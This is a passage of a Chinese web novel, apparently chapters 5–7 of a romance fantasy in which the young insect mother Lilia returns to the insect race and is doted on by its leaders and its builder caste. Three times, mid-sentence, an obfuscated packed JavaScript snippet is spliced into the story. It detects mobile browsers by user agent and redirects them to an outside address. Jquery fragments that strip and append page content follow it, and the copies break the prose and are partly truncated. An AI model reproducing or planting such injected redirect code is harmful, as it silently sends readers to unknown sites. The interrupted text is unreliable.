她的长袍被遮得严实,只能看见揪着尤安军装的修长手指。 一想到那军装甚至沾过血,他们就不住地生气,怎么能让母亲触碰到他们肮脏的血呢? 若非他们太过愚蠢,怎么会吓到小小的妈妈,以至于她不愿钻进他们的怀抱。 * 以严谨古板著称的法贝尔们都心不在焉,胆大的几个甚至跑去和长官告假,从翅翼折了到复眼瞎了,有多惨说多惨,一时之间,找不出一个身体健全的来。 他们深吸一口气,敲了门进去发现室内空空如也,长官早就整装待发,站在虫群中恭候着母亲的回归。 于是所有人都疯了般向着中央圣地涌去,这或许是他们此生唯一见到她的机会。 如果在此之前,有人告诉联邦其他国家,某一天,会有一个人出入虫族三道星线如入无人之境。 每一道他们需要付出巨大军力的防线都在这一瞬间打开,他们一定会笑话他的痴心妄想。 可是现在,一切成为现实,因为虫族最核心的地界迎来了真正的主人。 莉莉亚对此没有多少的感想,在她眼中,母亲爱孩子,孩子爱母亲,这是宇宙间最自然不过的事情。 她爱着自己的孩子,正如自己的孩子永远爱着她。 直到法布尔们到达中央圣厅时才无可奈何地发现,中央圣厅早已人满为患,并非所有虫族都有机会进入,他们需要通过斗争,唯有站到最后一刻才有机会进入,失败的只有等着同伴归来口述的份。 他们翘首以待,所有人的复眼都如同进入战斗状态一样高速转动。 直到那个高大的新生高等虫族出现在中央圣厅的上空,他们的目光锁定着他。 也有人认出他身后跟着的竟然是暴君塞尔托里乌斯的先卫士官团,齐齐忧心:母亲不会遇见危险了吧? 他们极力寻找母亲的身影,直到尤安单膝跪下,翅翼收起,一个女人才出现在他们眼中。 她有一头及腰的黑色长发,轻柔地垂着,遮住了她的脸庞,他们看不清她的脸,却能从自己愈加激动的精神力中感知到这就是母亲。 莉莉亚伸手撩开挡住眼睛的长发,环视周围。越是接近虫族领地,她与虫族的连接越是紧密。 “妈妈,好小的妈妈。” “妈妈的头发是黑色的,我一向都喜欢黑色。” “妈妈身上的味道好诱人,好怀念,我想抱抱妈妈。” “说起来,边上就是那个好运虫族吧,真是太弱了,竟然要妈妈来救。” ...... 所有虫族的语言和思想都会进入虫巢思维,唯有虫母能够随时感知,随时控制他们的思想。 尤安敏锐地感知到这些人的不屑,紧抿着嘴唇,眼神黯淡:他确实是太弱了,如果同塞尔长官那般强大,就不会让母亲陷入危险。 莉莉亚自然听见了他们的话,虽不知道这种声音来自何方,心软道:“没关系,做一个不那么厉害的孩子也很好,妈妈会保护好你们的。” 她说话很轻柔,像一根羽毛拂过虫族的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460470|169734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,痒痒的,前所未有的感受。 “妈妈喊我宝宝,我是妈妈的宝宝。” “滚,我以后就是虫族最平凡的那个。” “你才滚,废物不许喊妈妈。” 莉莉亚听他们说话都觉得可爱,冲他们微笑,底下的虫族纷纷表示自己被妈妈的笑容击中了,骚动不停。 一股强大的精神力忽然出现,威示般警告,他们这才收了那般情态。 尤安心里不住震惊,这股精神力一直就在他们身边,但是藏匿地极好,竟然没有一人察觉到。 他自觉停住了脚步,接下来的路并非他可以跟随的。 “第一守卫军,阿拉里克。” “参见陛下。” 他单膝跪在莉莉亚面前,左手持军帽,右手背后,标准的觐见礼。 这意味着,阿拉里克,这个掌握着虫族政治话语权的执政官,选择迎回虫母,承认她的母亲身份。 莉莉亚稍稍退后,又不想让他伤心:“宝宝,你先起来吧。” 她说完又上前去扶他,可是阿拉里克却先一步起身,悄然躲开了她的手,看得下面的虫族垂足顿胸,执政官大人真是身在福中不知福。 莉莉亚被躲开也不难过,也没看见这个比她高出不少的男人此刻垂眸,用难以言喻的复杂眼神看着她收回的手。 下一刻,阿拉里克已经敛去眼神,柔声解释道:“第三守卫军卡尼菲克斯忙于军务,尚无归期,请恕其罪。” 莉莉亚点点头,她想问:“第二守卫军的孩子呢?” “至于第二守卫军塞尔托里乌斯。”一向以温文尔雅著称的执政官乜了眼身旁藏匿的人,笑笑。 “精神力不佳,恕难觐见。” 越是强大的虫族和母亲的连结越是深刻,尚未成熟的虫母往往需要待在高等虫族身边,以他们的精神力作为养料,才能保证自己的最终成熟。 而塞尔托里乌斯,这个战场上藐视一切的暴君,拥有整个虫族最不稳定的精神力。 若非他足够强大,早就沦为精神力怪物,为了不要冲撞到这个脆弱的小虫母,他只是抱着手,收敛精神力,站在台下看着。 莉莉亚张开嘴想说什么,但下一秒却移开了目光,因为一股枯涩的精神力正偷偷拉开她的裙角,爬上她洁白的小腿。 她疑惑地环顾四周,并未发现异常,只是轻拉了下正为她介绍的阿拉里克。 她的手那么小,那么柔软,轻轻牵上阿拉里克的手,他一时忘记了如何说话,只是停下,低头看着她。 也是在这时,她感觉到这股力量的来源,猛然转头看去。 阿拉里克顺着她的目光望去,了然地笑笑。 她发现了,这个妈妈敏锐地发现了偷偷躲着,不愿出现的孩子。 在她眼中,这是一个受伤了还要逞强的小孩,明明塞尔托里乌斯脸上没有任何表情,在莉莉亚眼中,却是一个委屈巴巴的孩子在默默难过。 莉莉亚甚至朝他的方向轻俯身子,做出一个拥抱的姿势,她想哄哄这个躲起来的宝宝。 所有虫族的注意力都在她身上,看到她的动作,自然抻着脖子要去看到底谁有这样的荣幸,能够让母亲拥抱,叫嚣着一定要给他一点颜色看看。 可等他们看见那人的脸时,却集体噤声了。开玩笑,这个大魔王可是随时能够秒杀他们的存在。 但为了妈妈,他们下定决心,一定要变得更强,能够让妈妈的目光有一瞬间,哪怕只是一瞬间,停留在他们身上。 塞尔托里乌斯没想到莉莉亚竟然能够找出他,又感受到所有人的目光。 他直接转过身去,拒绝的意味很明显。 莉莉亚自然也感觉到了,她有些失落,朝阿拉里克笑笑,牵回他的手,跟着他进入正殿。 5. 妥协 虫母的回归对于虫族来说是最大的事情,可并非所有人都是如此认为。 章鱼拟态的博士算得上是联邦著名的科学疯子,强大的科学能力注定了他能够在这个精英联邦里站稳脚跟。 他捂着已经流出血的眼睛,阴恻恻地说:“你们以为这样就能阻止我吗?虫族而已,若是要挡在我的实验面前,只会被摧毁。” “我是为了科学,为了伟大的科学,所有人都应该心甘情愿地付出一切,这将是他们蝼蚁般人生唯一的高光。” 不巧,他身边的助理正好是蝼蚁拟态,忍不住翻了一个白眼:“真是傲慢无礼的家伙。” 他懒得告诉这个自作聪明的科学家:“你以为虫族这样特殊的存在,为什么没要被那群捧着你的联邦官员送到你的面前,是因为不想吗?” 但他是不会说的,他想知道这个高人一等的天才要如何面对这个星际间最可怕的种族。 * 塞尔托里乌斯抱着手,背过身去,故意不去看那个女人。 底下的虫族见他竟然拒绝了伟大的母亲,气疯了。 “第二守卫军军团长了不起吗,竟然敢拒绝母亲。” “好想揍他,有人组队吗?” “加我一个。” “我真的忍不了,他竟然敢这样对妈妈。” “妈妈的小脸委屈巴巴的,好想亲,话说这人真的是虫族吗?” “谁知道,不管了,我决定每天加练七星时,一定要去揍他。” 莉莉亚随着阿拉里克走进去,忽然想起尚未自我介绍过。 她的身体数据早在那个拥抱里被法贝尔们知悉,比起平均身高达到两米的虫族,她实在是娇小,为了让母亲过得舒心,他们争分夺秒,穷尽毕生所能为她定制所有。 于是莉莉亚坐在铺了柔软的丝绒垫子的王座之上,边上的扶手都被小心地装上了软布。 没有一个法布尔想要看到这坚硬的扶手硌红母亲的手臂。 她坐在那里,用手撑着自己的脸颊,她想说自己叫莉莉亚,可是内心有一个声音告诉她,不是的,你不再是莉莉亚了。 她停了下来,不知道自己应该如何说话,就听见阿拉里克的声音:“尊敬的玛提亚·杰内特瑞克斯陛下,我们恭候您的回归。” 莉莉亚只好笑笑,她曾听过这个名字,但是在何时听见,又在何处听过,只剩下模糊的记忆。 她开始遗忘过去,眼中只能看见他们。 明明这些虫族如此高大可怕,坚不可摧,可她看向他们时,内心总会生起无限怜爱,想要把他们护在怀中,不让风雨侵沾他们。 这是母亲对孩子的保护,但绝不是妻子对丈夫的爱情。 阿拉里克知道,这个被兽人从奥瓦里安带走的母亲,遇见了自爆精神力的侦察兵。 她拯救他,拥抱他,并成功点亮了沉寂千年的虫巣思维。 莉莉亚已经很困倦,小小的脑袋几次低下,却不愿开口离开。 似乎和他们待在一起的时候,困倦的同时会生起一股前所未有的满足,让她的心不再迷茫。 阿拉里克看着她,恭敬地说:“陛下,请随我去殿内休息。” 没想到竟然被看出来了,莉莉亚不好意思地笑笑,乖乖跟着他走进去。 阿拉里克哄她睡着,用精神力关了寝殿的门。 * 一旁等着的塞尔托里乌斯抱怨道:“还真是一位和虫族秉性截然不同的虫母啊。” 他不喜欢这个女人看自己的眼神,就好像不管做什么都会得到原谅。 对一个从小就坚信弱肉强食、适者生存的人来说,这种感觉实在是太过奇怪了,让他感到不安,甚至有点无措。 阿拉里克只是看了他一眼:“可我觉得你挺乐在其中的。” 他说完,没等塞尔托里乌斯反驳,就接着说:“她是从奥瓦里安苏醒的,被盗猎的兽人发现,送到研究所的。” 剩下的话不需要明说,他们都已经知道了。 “所以呢,你不杀她?”被称为战场暴君的男人极残忍地笑了一下。 “我觉得你应该理智一点,我们无法杀死虫母。杀了她,也会有下一个虫母出现。”阿拉里克简直无法相信都到这个时候了,他还是没有放弃杀戮的念头。 被偏爱的人也会想要杀死唯一的温暖吗? 阿拉里克看得清楚,莉莉亚俯下身子时,眼睛里很温柔,甚至闪着泪光,她真的在心疼,心疼那个躲在暗处的人。 高等虫族和虫母的连接最为紧密,在虫母成熟之前,他们的情绪甚至能够相互影响。 所以他清楚地知道,当时的莉莉亚只有一个念头,抱抱他,让他不要难过。 阿拉里克对这样的情绪感到陌生,该说是天生的差异吗? 或许只有她会这么对待一个杀戮成性的虫族,在她把手塞进来的那一瞬间,他忍不住想:“她会这样对待每一个虫族吗?” 她会这样爱我吗? 塞尔托里乌斯觉得真是讽刺极了,最虚伪的虫族竟然还要惺惺作态:“可你也没想到她会活着回来吧。” “这不应该问你吗,我的好兄弟。”阿拉里克脸色未变,甚至伸手拍了拍身边人的肩膀。 塞尔托里乌斯嫌恶地拍开他的手:“你应该比我清楚虫巢思维的可怕。” 无法被任何事物毁掉的虫巢思维是他们的种族天赋,也是牢牢禁锢他们的枷锁。 若是虫母不愿意让他们思考,他们只能做没有思想的战争机器,没有自主权,没有反抗权,直到生命的最后一刻。 忠诚于虫母直至死亡虽是刻在他们基因中的命令,但这并不意味着他们可以忍受绝对的思想控制。 “如果她永远无法真正成熟呢?” 听到他的话,塞尔托里乌斯眯起眼睛,了然地笑笑,看来虫族会迎来一个能够提供精神抚慰但无法绝对控制的虫母。 他甚至能够想到,那个女人坐在王座之上,戴着王冠,却是毫无权力的假君王。 她会哭吗? 塞尔托里乌斯不知道,在虫族的记载里,虫母不会哭泣,因为虫族士兵的死亡传不到她的耳中,而她顺遂的被保护的一生也没有任何哭泣的必要。 阿拉里克看了眼身后的士官,继续慢条斯理地说道:“她是一位很独特的虫母,或许我们可以改写虫族既定的命运。” * 他说完就打开了视讯,连通第三军团指挥部。 可是下一秒,有人推门而入。 她看上去刚被噩梦惊醒,汗湿的发,微红的眼圈,连呼吸都更加急促。 在梦中,莉莉亚仍然在奥瓦里安的混沌之中,她想大声呼喊,喉咙却像塞了棉花一样,无法发声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460471|169734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她从睡梦中惊醒,周围没有一个人,只有一盏暖黄的灯微微亮着,空气中还有阿拉里克的味道。 莉莉亚循着味道走过来,双目失神,她甚至没听见里面的声音,不假思索就推开了门。 早在她靠近时,塞尔托里乌斯就感知到一股异样的温度靠近。 在这里,只能是那个人。 在他们齐齐看向她时,莉莉亚的手指微拢,轻轻颤抖。 梦中的窒息和恐惧还是压在她的心头,她低着头不说话,阿拉里克却微笑:“陛下。” 他刚说完,莉莉亚就像一只蝴蝶一般扑进他的怀中。 她在恐惧,她在颤抖。 阿拉里克的瞳孔收缩,她离得这般近,能闻见身上的暖香。 从第一次见面开始,阿拉里克就闻到她身上的味道,没有人会拒绝这样的味道。 莉莉亚紧紧抓住他的衣角,呼吸急促,恨不得把自己的融进他的身体。 阿拉里克向塞尔托里乌斯递了个眼神,可对方却双手一摊,臭着一张脸。 她又没来抱我,我怎么知道。 可是却不合时宜地想到:原来她会哭啊。 不知为何,阿拉里克没有听从自己的理智,和她交流,问她原因,然后把她送回寝殿。 他只是把她抱在怀里,让她的脑袋靠在自己的肩上,轻轻拍她的背。 塞尔托里乌斯居高临下地站着,光打在她的身上,他能看见她雪白的肌肤,能看见她哭得微红的脸颊。 他在此刻痛恨自己的洞察细微的复眼。 第三军团指挥部本想要向主星报告战况,在得知母亲的回归时,他们便出征了,剑指忤逆虫母之人。 统帅卡尼菲克斯平静地看着视讯中相拥的两人,他从小古板,是虫母最忠诚的拥护者。 若非阿拉里克的刻意隐瞒,他绝对不会在这个时节离开主星。 毕竟塞尔托里乌斯和阿拉里克就是两个疯子,没人知道他们会对虫母做什么。 卡尼菲克斯看了一眼身边的副官,他理智的副官,却在看见莉莉亚的那一瞬间克制不住,亮出了自己的虫族拟态。 感觉到长官的目光,副官迅速收敛,退后一步:“抱歉。” 可是他的光脑已经飞速拍照,保存了母亲的模样。 虫族不像其他种族,需要依靠光脑记录,他们的所有见闻都能记录在虫巢思维中。 可若是虫母不愿意,他们也无法查看,甚至回忆自己的经历。 在得知虫母的回归时,副官就第一时间购买了星际最新款光脑,只需要商家保证像素极高,能够细致地拍出画中人。 他甚至无法理解为什么长官如此冷静,这可是母亲啊,他们阔别已久的母亲。 卡尼菲克斯端正开口:“联邦第一调查团已伏法,新执政官发来议和请求。” 他本想侧身,向视讯中的战友展示击落的星舰,但是想到这个哭泣的母亲,只是稳稳站着,挡住了这片血腥。 阿拉里克颔首,可是看向怀中的莉莉亚,犯了难。 塞尔托里乌斯却大步上前,要把她带走。 莉莉亚不熟悉他的味道,挣扎着不愿意撒手,抓着阿拉里克衣角的手指微微用力。 塞尔托里乌斯看着她的反应,只是轻轻地把她的手指掰开,而后抱着她离开了这里。 6. 驯服 塞尔托里乌斯再次见到莉莉亚是在五天之后,他一直很忙,很少留在主星。 可他对主星上的动静一清二楚,传说中日理万机的执政官处理完公务之后就进了虫母的房间,直到深夜才出来。 自那之后,莉莉亚和阿拉里克的关系飞速发展,觉得阿拉里克真是个温柔正义的好孩子。 她已经对自己的人类身份感到模糊,却还是会想起曾见过的地球文化。 莉莉亚惊讶地发现阿拉里克无所不知,甚至能够精准地从她颠倒破碎的语言中猜出正确的答案。 一进入虫母宫殿,不用复眼,塞尔托里乌斯都能感觉到巨大的差异。 五天之前,这里还是空置以久的虫母宫殿,就算有虫侍日日悉心呵护,沉寂千年的宫殿还是有一股难以言喻的肃穆冷清。 可是现在,几乎看不出原来的模样。 比起冰冷严肃的虫族,这位新生虫母有一颗太过柔软的心脏,她喜欢明黄色的蕾丝窗帘,喜欢每个虫族守卫塑像肩头都趴上一只古地球的石头小猫,喜欢一切美好的事物。 地上又铺了一层极厚的绒毯,法贝尔们根据母亲的描述做了精致繁复的珐琅花瓶,为她插上了清丽的百合。 因着她的喜好,虫族上下开始疯狂恶补古人类的知识。联邦旧书店里那些关于古地球的风俗志一时脱销,联邦人羡慕古人类不受精神力暴动的折磨,更是处处仿着古地球的风貌。 虽说关于古人类的一切都受到狂热追捧,可这般热潮却是许久未见了,尤其是,这些客人还是虫族。 这个唯一对古人类不好奇,不追捧的种族。 * 晶莹的水珠沿着花瓣边缘打转,暖光照在上面,显得极亮。 阿拉里克甚至接手了虫侍的工作,学着之前的样式,亲手给莉莉亚梳发。 这个小虫母有极长的黑发,泛着绸缎般的光泽。梳发时总是娇气地抱怨手酸,只草草梳洗,甚至能扯下几根长发。 身边的虫侍看得心疼极了,刚想请求母亲让自己来梳发,就被执政官捷足先登了。 阿拉里克甚至会贴心地根据莉莉亚每日的穿着来为她选择发型,小心地为她绾发。 莉莉亚惊喜于自己再不用亲手梳发,又见阿拉里克极懂她的心思,手艺又好,自然高兴地随他去。 一旁的虫侍嫉妒地复眼通红,执政官大人真是既要又要,明明已经够讨母亲欢心了,还要来抢他们的殊荣。 塞尔托里乌斯对此是极不屑的,不明白这人到底怎么想的,心说:“也真是够清闲的。” * 虫母的成熟需要高等虫族的信息素温养,但鲜有人知,未来会拥有无数丈夫的虫母在成熟之初只能接受一个人的信息素。越是高纯度的信息素越能帮助她的成熟,可若是成熟期被多个人的信息素影响,反而会延长成熟期,甚至无法成熟。 历代虫母的成熟期伴侣之位都是高等虫族们打出来,甚至会有人因此丧命。可是到了莉莉亚这里,阿拉里克却愿意分享自己的母亲。 莉莉亚只是听见伏在自己膝头的阿拉里克轻声说:“今日由塞尔托里乌斯来陪您,不止是他,接下来,卡尼菲克斯也会回来。” 阿拉里克说完就看着她,她的脸上有点茫然,显然是不明白为什么陪伴自己的阿拉里克会忍心离开。 莉莉亚记得自己只见过塞尔托里乌斯一次,甚至都未来得及和卡尼菲克斯见面,从她回到主星开始,一直是阿拉里克陪在她身边。 但她是个宽容博爱的妈妈,不愿让孩子们担心,马上露出微笑:“那好,我会乖乖待在塞尔身边的。” 又是这样,每一次都是这样。 从遇见她开始,阿拉里克开始会感到无措。 明明应该是虫族至高无上的君王,面对他时,却那么柔软,从不拒绝,总是温柔而依赖地看着他。 她竟然全身心地相信一个随时会杀死她的人,没有一丝的怀疑,只是温和而坚定地相信他。 阿拉里克几乎是落荒而逃,他不明白为何会是现在这样情形。 * 莉莉亚安静地坐在椅子上,摇晃着悬空的小腿,听见推门的声音,期待地看过去。 塞尔托里乌斯今日未着军装,因为虫母喜欢拥抱,为了不要让□□的军装压得她不舒服,虫族上下甚至改变了整日穿军装的习惯,纷纷换上柔软的衣衫。 得知他今日要去陪伴虫母,他的副官鼓足勇气:“长官,请您换下军装。” 塞尔托里乌斯一时没明白他的意图,犹疑地看着他。 副官义正言辞:“妈妈的皮肤太过娇嫩了,您应该换一身不会伤害她的衣服。” 他听完臭着一张脸:“娇气。”却在临行前偷偷换下军装。 所以莉莉亚看着今天温柔许多的塞尔托里乌斯感到惊讶,她托着腮,喊他:“塞尔。” 塞尔托里乌斯从未被这样称呼过,有些愣神,莉莉亚却已经把新备的光脑举到他面前。 光脑上是她今日选好的发型,珍珠细细编入盘好的发髻,甚至还系上几根丝绸缎带,典雅灵动。 塞尔托里乌斯后退一步,抱着手:“我不会。” 莉莉亚睁着一双乌黑圆润的大眼睛看着他,还没等她说话,他继续拒绝:“也不想学。” 莉莉亚有些失望地哦了一声,接着小声说:“我以为塞尔也会的。” 塞尔托里乌斯自认为是绝对冷静,从不意气用事的成熟军官,坚信这是极其拙劣的激将法。 但是没法忍,凭什么拿他和阿拉里克比较。 莉莉亚看着他靠近,接过她手中的光脑,看了两眼就放下了。 她以为塞尔托里乌斯生气了,刚想道歉,他已经站到身后,开始为她梳发。 塞尔托里乌斯的手极巧,不多时就帮她梳完了,还单手把光镜举到她面前。 莉莉亚看着镜中的自己,高兴地说:“没想到塞尔绑头发也和阿拉一样,不会疼。” 塞尔托里乌斯听她三句话离不开别人,他能说什么,只能没好气地说:“你瞧不起我呗。” 莉莉亚觉得他就像是炸毛的小猫,去拉他的手:“怎么会,塞尔也是好孩子。” 塞尔托里乌斯一时语塞,想了半天,刚要反驳,法布尔却进来了。 莉莉亚显然非常熟悉之前的法布尔,也知道今日会有新做好的钢琴送来,但没想到是一个从未见过的虫族。 她松开塞尔托里乌斯的手,轻轻问他:“你叫什么?” “法布尔。”那人还跪在地上,听见伟大的母神垂问,连忙回答,不愿让她多等。 莉莉亚惊讶地向旁边看去,可是此前,她已经认识一个法布尔了。 细细看去,他们两个虽都有一头蜷曲的灰色短发,可除了脸上一模一样的狂热,几乎没有相似的地方。 跪在地上的虫族开口:“是的,妈妈,我们都是法布尔。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460472|169734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 虫族有无数个法布尔,他们负责所有的建造与设计。 联邦曾经研究过虫族这般特点,最后认为是因为虫族数量极多,行事古板,才会以同一个名字命名同一个工种的虫族。 可他们并不知道,很久以前,每个虫族都会在诞生之初得到虫母的赐名。即使事实上除了几位高等虫族,剩下的虫族不过是母亲随心选的名字,他们也还是欣喜于虫母的恩赐。 可慢慢地,他们发现有独一无二的名字又如何,母亲不会看见他们,更不会记住他们的名字。 他们是一群从未被母亲呼唤过的孩子。 于是,某一天,他们决定舍弃自己的名字。 他们生来是等级不高的虫族,也曾想过有朝一日被母亲看见。 可漫长的岁月里,他们一直无法被母亲看见,那么他们说:“就选择同一个名字吧。” 每一个名字背后都有无数的虫族,总有一日,他们中的某一个能站在母亲面前,而她会看见他们中的某一个。 那时,若是母亲愿意呼唤这个名字,即使只是一次,他们都得偿所愿。 莉莉亚难过得眼泪都要流出来了,她竟然没有给每个孩子取一个独一无二的名字,只是随意地让他们拥有同一个名字。 她艰难地开口:“你先起来,法布尔。” 可是热切的,带着浓稠情欲的眼神立马射向她,使她心神不宁,甚至有些畏惧这样的情感。 地上的虫族跪得更低了,祈求道:“妈妈,您能再呼唤一次我的名字吗?” 名字只有在被母亲呼唤时才有意义。 “法布尔。” 他就这样听着母亲再次呼唤他的名字,也看见晶莹的泪珠静静淌出她的眼眶。 比起惶恐,现在的法布尔更多的是自责绝望,他害得妈妈伤心了。 他那么好,那么心软的妈妈,因为他哭了。 莉莉亚感觉到他的愧疚,用手胡乱擦去眼泪,还要道歉:“对不起,法布尔。” 法布尔觉得更绝望了,还有什么比让妈妈道歉更罪无可赦的事情。 虫母永远正确,她只需要拥有欲望,而虫族一生都将寻找她欲望的方向。 塞尔托里乌斯讨厌看到莉莉亚的眼泪,想伸手帮她擦干净,又想到她的娇气,担心自己的常年习武的粗糙手指会擦伤她。 叹了口气,转身要去寻块帕子。 莉莉亚却拉住他的手,从口袋中取出阿拉里克帮她备好的手帕,递给他。 她为自己在宝宝们面前落泪而羞愧,只想赶紧擦干眼泪。 塞尔托里乌斯低头,身前的女人仰着头,闭着眼睛,睫毛却不住颤抖,脸上还有半干不干的泪痕。 这是极受宠,极骄矜的姿态,只有相信自己被全心爱着的人才会流露的依赖。 他伸手轻扣着她的头,细细帮她擦干净,就像面对易碎的珍宝,罕见的温柔与耐心。 “这么爱哭。” 塞尔托里乌斯想起那天哭着扑进其他男人怀中的莉莉亚,她哭得那么伤心,眼泪比断线的珍珠还要多,齐齐落下,让人不知怎么办才好。 莉莉亚微张了口,想反驳,又想起那天在他面前哭,不再开口。 那天她的眼泪不仅是对窒息在黑暗中的恐惧,更多的是她感知到来自于外面的,那些等待着的孩子们的汹涌热烈的爱意。 妈妈感觉到了他们炽热的爱,就像是火在燃烧,烫得她落泪。 7. 再造圣母 地上的法布尔觉得自己此生所有的运气都在今日兑现了,妈妈竟然过来扶起他。 她的手温暖柔软,虚虚扶在他裸露的手臂上,让他目眩神迷。 莉莉亚并不知道,每一次觐见的法布尔都是打出来的,他们会在前一天一早开始激动,一整天都摩拳擦掌,等待夜晚的比试。 只有最强大的虫族战士才有资格触碰母亲,即使是专职设计和建设的法布尔们也认可这样的传统。之前那个法布尔每次都被打到奄奄一息,但是死命守着,不愿失去这样的机会。 第一次见到母亲时,他激动惶恐,担心冒犯到母亲。 莉莉亚却一直笑着,她的眼神那么温柔,声音那么动人。他痴痴地望着母亲,看她沐浴在斜照进来的机械太阳光之下,让他想起这几日读过的书。 这是阳光下的圣母,他心里暗暗发誓,绝不会让她成为凄冷月光中为孩子垂泪的母亲。他,他们,会永远守护着她。 莉莉亚见他发痴,也不生气,而是静静地看着他。 一个好妈妈应该永远包容自己的孩子,哪怕他们有些调皮,有些叛逆,甚至有时违逆母亲的命令。 可这个法布尔现在却只能恨恨地躺在床上,他输了比试,只能看着另一个法布尔激动地欢呼,等待母亲的召唤。 此刻,他感觉到了悲伤,来自母亲的悲伤像一条河流,缓缓流进他们的心中。 他甚至能想象到母亲皎洁如月光的脸颊上还有眼泪静静流淌,忍不住伸起被折断的右手,在虚空之中,试图为她擦拭泪水。 不只是他,整个虫族都陷入了惊慌,究竟是谁伤害了母亲,究竟是谁惹她落泪了。 卡尼菲克斯直截了当地给阿拉里克打去视讯,莉莉亚尚未成熟,自迎回她开始,所有人都克制着少用虫巢思维沟通,避免过载的思维伤到他们娇弱的母亲。 阿拉里克等了一会儿才接通了视讯,他衣冠楚楚,仿佛下一秒便能够亲临外交现场。这并不正常,作为虫母选定的成熟期伴侣,他应该时刻陪伴在她的身边,不停释放信息素,温养她的身躯。 可他不在莉莉亚的身边。 卡尼菲克斯沉下脸色,眼神示意一旁恭敬站着的人。等到确认塞尔托里乌斯于今日离开第二星线,他的眸色已经阴沉得骇人。 他们怎么敢?!! 阿拉里克却丝毫不惧,好整以暇道:“如果想让她活下来,这是唯一的办法。” “你拿什么保证虫母的安全,拿你的命吗?”卡尼菲克斯简直被这两个胆大包天的人气到。 他很少动怒,比起笑里藏刀的执政官和杀人如麻的战场暴君,作为统帅的他拥有超乎常人的自制力以及近乎残忍的冷静。 可是现在,他就如同暴虐的狮子,敌视所有侵犯领地的存在。 他无法忍受有人亵渎虫母,尽管此前从未见过母亲,他仍然愿意做她最虔诚的皈依者。 却也是瞬间收敛怒气:“我马上回主星。”说完便挂了视讯。 阿拉里克看着空白的光幕,失笑:“我的命吗?” 他的命运只会属于他自己,任何人都无法夺去。 * 莉莉亚回头看了眼塞尔托里乌斯,他正抱着手臂站在一旁,没有动作,在看好戏。 她轻声细语地安慰身前的虫族:“好了,法布尔,擦擦你的眼泪。” 法布尔才惊觉原来自己脸上的凉意不是冷光,而是泪水。 是呀,虫族给了莉莉亚所有的爱,她喜欢温暖,就让太阳永不落幕。只在她睡去时,换上清冷的月。 这里怎么会有冷光呢?她在的地方比太阳还要炽热。 但是他实在不愿意让现在的时间流走,母亲离他这般近,她的眼里只能看见他,这个事实让每一个虫族嫉妒。 莉莉亚伸手帮他拂去眼泪,笑了:“不许伤心了,你送来的钢琴我很喜欢。” 明明自己还很难过,明明根本没看清钢琴,她却选择安慰他,一个低级的,不会被人看见的虫族。 * 卡尼菲克斯一靠近宫殿,一段简单重复的旋律传来。 无人敢在虫母宫殿附近喧哗,那么这声音只能来自于她。 等不及通报,一向恪守成规的统帅直接进入宫殿。 莉莉亚正坐在钢琴前,看似极为认真地弹琴,心里安慰自己道:“没关系,会小星星已经很好了。” 天知道她只会一首小星星,却在刚刚脑袋一热,说要给他们弹一曲。 塞尔托里乌斯站在她身边,他知道这是星际间常言的音乐。 为了缓解精神狂化,联邦的人疯狂追求古地球的乐舞,但收效甚微。不过却也让他们养成了动辄谈音论舞的习惯。 虫族很少了解,或者说,他们根本不在意除了虫母之外的存在。 但这不意味着塞尔托里乌斯对音乐一无所知,他饶有兴趣地看着莉莉亚越弹越红的耳垂,好笑:“笨。” 又瞥了一眼旁边的法布尔,看他满脸通红,陶醉般沉浸在莉莉亚简单重复的旋律中,评价道:“假。” 可是当一曲终了,莉莉亚抬头望向他们的时候,所有人都目露欣赏,法布尔甚至大力鼓掌。 这是妈妈给他们弹奏的曲子,和古人类记录的摇篮曲有什么区别! 被塞尔托里乌斯信息素包裹的莉莉亚早已失去了原本对于虫族的敏锐感知,若是之前,只要有虫族靠近,她就能迅速反应过来。 可是现在,她浑身上下都是塞尔托里乌斯的信息素。她看不见,可落在旁人眼中,就是周身浮了一层柔和的白光,赤裸裸地宣告战场暴君的存在。 塞尔托里乌斯忽然挑眉,了然已是东窗事发。 这是卡尼菲克斯第一次面见虫母,没有通报,不顾一切地闯进来。 莉莉亚才看见他,却下意识躲到塞尔托里乌斯身后。他太过高大,能够将她遮得严严实实。 她又伸手抓住他腰间的衣带,悄悄探出头来,脸红了。 从她见到卡尼菲克斯时,便能感觉到一股热切的虔诚,这是在阿拉里克和塞尔托里乌斯身上不曾感知到的。 妈妈愿意全身心地信任她的孩子们,但这并不代表她不清楚孩子们的爱意。 莉莉亚觉得,无论是阿拉里克还是塞尔托里乌斯,在望着她时,总是淡薄的,平静的。 他们看上去愿意和她待在一起,可她知道,这两个孩子更喜欢没有她存在的时空。 她也伤心过,但在下一次见到他们时,又原谅他们了,做一个不偏心的好妈妈。 